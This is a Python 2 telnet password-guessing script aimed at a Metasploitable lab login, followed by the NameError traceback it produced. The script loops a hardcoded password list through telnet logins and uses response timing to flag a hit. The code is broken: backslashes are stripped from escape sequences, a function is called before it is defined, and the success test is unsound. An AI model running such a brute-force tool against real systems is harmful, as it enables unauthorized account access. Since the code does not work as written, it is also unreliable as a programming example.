import telnetlib
import re
import sys
import time
import getopt
from time import gmtime, strftime

total_time_start = time.clock()

#Get the arguments from the user
try:
    opts, args = getopt.getopt(sys.argv[1:], "i:u:f:")
except getopt.GetoptError as err:
    print str(err)
    sys.exit(2)

passwords = ["hello","test", "msfadmin", "password"]
username = " "
ip = "0.0.0.0"
output_file = " "


for o, a in opts:
    if o == "-i":
        ip = a
    elif o in ("-u"):
        username =a
    elif o in ("-f"):
        output_file = a
        file_out()
    else:
        assert False, "unhandled option"

#Connect using the password and username from the for loop later in the  script.
def connect(username, password, ip):
    global tn
    tn = telnetlib.Telnet(ip)

    print "[*] Trying " + username + " and " + password

    tn.read_until("metasploitable login: ")
    tn.write(username + "n")
    tn.read_until("Password: ")
    tn.write(password + "n")

#Guess the password
for password in passwords:
    attempt = connect(username, password, ip)
    time_start = time.clock()
    if attempt == tn.read_until("msfadmin@metasploitable", timeout = 1):
        pass
    time_end = time.clock()
    time_finish = time_end - time_start
    #Determine if the password is correct or not
    if time_finish > 0.001000:
        print "33[1;32;40m [*] Password '" + password + "' found for user '" + username+"'33[0;37;40mn"
        total_time_end = time.clock()

        total_time = (total_time_end - total_time_start)

        #Print the findings to a file that is selected from an argument
        def file_out():
            date = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime())
            fout = open(output_file, 'w')
            fout.write("Server IP: " + ip)
            fout.write("nUsername is " + username)
            fout.write("Password is " + password)
            fout.write("nCrack was conducted on " + date)
            fout.write("The crack took a total time of  " + total_time)

        sys.exit(0)

Traceback (most recent call last):
  File "telnet_cracker.py", line 49, in <module>
    file_out()
NameError: name 'file_out' is not defined